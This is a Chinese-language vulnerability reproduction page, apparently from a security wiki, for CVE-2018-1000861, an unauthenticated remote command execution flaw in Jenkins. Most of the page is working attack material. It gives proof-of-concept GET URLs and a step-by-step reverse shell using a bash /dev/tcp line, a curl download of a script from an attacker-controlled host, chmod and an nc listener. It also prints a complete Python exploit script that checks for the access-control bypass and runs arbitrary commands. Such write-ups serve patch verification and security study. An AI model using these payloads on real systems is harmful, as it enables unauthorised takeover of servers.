menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2018-1000861)Jenkins 远程命令执行漏洞 chevron_right (CVE-2018-1000861)Jenkins 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-1000861)Jenkins 远程命令执行漏洞.md
    6.4 KB / 2021-07-15 19:54:27
        (CVE-2018-1000861)Jenkins 远程命令执行漏洞
    ============================================
    
    一、漏洞简介
    ------------
    
    Jenkins使用Stapler框架开发,其允许用户通过URL
    PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
    
    通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。
    
    二、漏洞影响
    ------------
    
    Jenkins Version \<= 2.56
    
    Jenkins LTS Version \<= 2.46.1
    
    三、复现过程
    ------------
    
    #### 漏洞复现:
    
    ##### 1.此漏洞是没有回显的,所以我们这里直接反弹shell:
    
    此漏洞的POC(直接GET请求即可):
    
        GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/CVE-2018-1000861_is_success%22.execute()}}
    
    ##### 2.我们这里采取下载文件的方法来反弹shell
    
    \(1\) 先在我们的服务器上防止一个文本,内容为:
    
        bash -i >& /dev/tcp/172.26.1.156/9999 0>&1
    
    \(2\) 然后我们替换POC中执行命令的部分为下载文件的命令:
    
        curl -o /tmp/1.sh http://172.26.1.156:8080/1.txt
    
    替换后的POC:
    
        http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://172.26.1.156:8080/1.txt%22.execute()}}
    
    \(3\) 给予下载的脚本执行权限:
    
        chmod 777 /tmp/1.sh
    
    替换后的POC:
    
        http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}}
    
    \(4\) 然后在我们接收shell的机器上监听之前写的端口:
    
        nc -lvvp 9999
    
    \(5\) 直接bash执行我们下载的脚本
    
        bash /tmp/1.sh
    
    替换后的POC:
    
        http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}
    
    \(6\) 回到我们监听端口的机器:
    
    ![U1fa800f6a04448f38d05166dcce9d04cJ.jpg](./resource/(CVE-2018-1000861)Jenkins远程命令执行漏洞/media/rId27.jpg)
    
    可以看到已经成功获取到了shell!
    
    ### poc
    
    **useage**
    
        $ curl -s -I http://jenkins/| grep X-Jenkins
        X-Jenkins: 2.137
        X-Jenkins-Session: 20f72c2e
        X-Jenkins-CLI-Port: 50000
        X-Jenkins-CLI2-Port: 50000
    
        $ python exp.py http://jenkins/ 'curl orange.tw'
        [*] ANONYMOUS_READ disable!
        [*] Bypass with CVE-2018-1000861!
        [*] Exploit success!(it should be :P)
    
    ![Uadc7abd83e45466dbed2f51492676c13j.jpg](./resource/(CVE-2018-1000861)Jenkins远程命令执行漏洞/media/rId29.jpg)
    
        #!/usr/bin/python
        # coding: UTF-8
        # author: Orange Tsai(@orange_8361)
        # 
    
        import sys
        import requests
        from enum import Enum
    
        # remove bad SSL warnings
        try:
            requests.packages.urllib3.disable_warnings()
        except:
            pass
    
    
        endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'
    
        class mode(Enum):
            ACL_PATCHED = 0
            NOT_JENKINS = 1
            READ_ENABLE = 2
            READ_BYPASS = 3
            ENTRY_NOTFOUND = 999
    
        def usage():
            print '''
          Usage:
            python exp.py <url> <cmd>
            '''
    
        def _log(msg, fail=False):
            nb = '[*]'
            if fail:
                nb = '[-]'
            print '%s %s' % (nb, msg)
    
        def _get(url, params=None):
            r = requests.get(url, verify=False, params=params)
            return r.status_code, r.content
    
        def _add_bypass(url):
            return url + 'securityRealm/user/admin/'
    
        def check(url):
            flag, accessible = mode.ACL_PATCHED, False
    
            # check ANONYMOUS_READ
            status, content = _get(url)
            if status == 200 and 'adjuncts' in content:
                flag, accessible = mode.READ_ENABLE, True
                _log('ANONYMOUS_READ enable!')
            elif status == 403:
                _log('ANONYMOUS_READ disable!')
    
                # check ACL bypass, CVE-2018-1000861
                status, content = _get(_add_bypass(url))
                if status == 200 and 'adjuncts' in content:
                    flag, accessible = mode.READ_BYPASS, True
            else:
                flag = mode.NOT_JENKINS
    
            # check entry point, CVE-2019-1003005
            if accessible:
                if flag is mode.READ_BYPASS:
                    url = _add_bypass(url)
                status, content = _get(url + endpoint)
    
                if status == 404:
                    flag = mode.ENTRY_NOTFOUND
    
            return flag
    
        def exploit(url, cmd):
            payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')
            params = {
                'sandbox': True, 
                'value': payload
            }
    
            status, content = _get(url + endpoint, params)
            if status == 200:
                _log('Exploit success!(it should be :P)')
            elif status == 405:
                _log('It seems Jenkins has patched the RCE gadget :(')
            else:
                _log('Exploit fail with HTTP status [%d]' % status, fail=True)
                if 'stack trace' in content:
                    for _ in content.splitlines():
                        if _.startswith('Caused:'):
                            _log(_, fail=True)
    
        if __name__ == '__main__':
            if len(sys.argv) != 3:
                usage()
                exit()
    
            url = sys.argv[1].rstrip('/') + '/'
            cmd = sys.argv[2]
    
            flag = check(url)
            if flag is mode.ACL_PATCHED:
                _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)
            elif flag is mode.NOT_JENKINS:
                _log('Is this Jenkins?', fail=True)
            elif flag is mode.READ_ENABLE:
                exploit(url, cmd)
            elif flag is mode.READ_BYPASS:
                _log('Bypass with CVE-2018-1000861!')
                exploit(_add_bypass(url), cmd)
            else:
                _log('The `checkScript` is not found, please try other entries(see refs)', fail=True)
    
    
    links
    file_download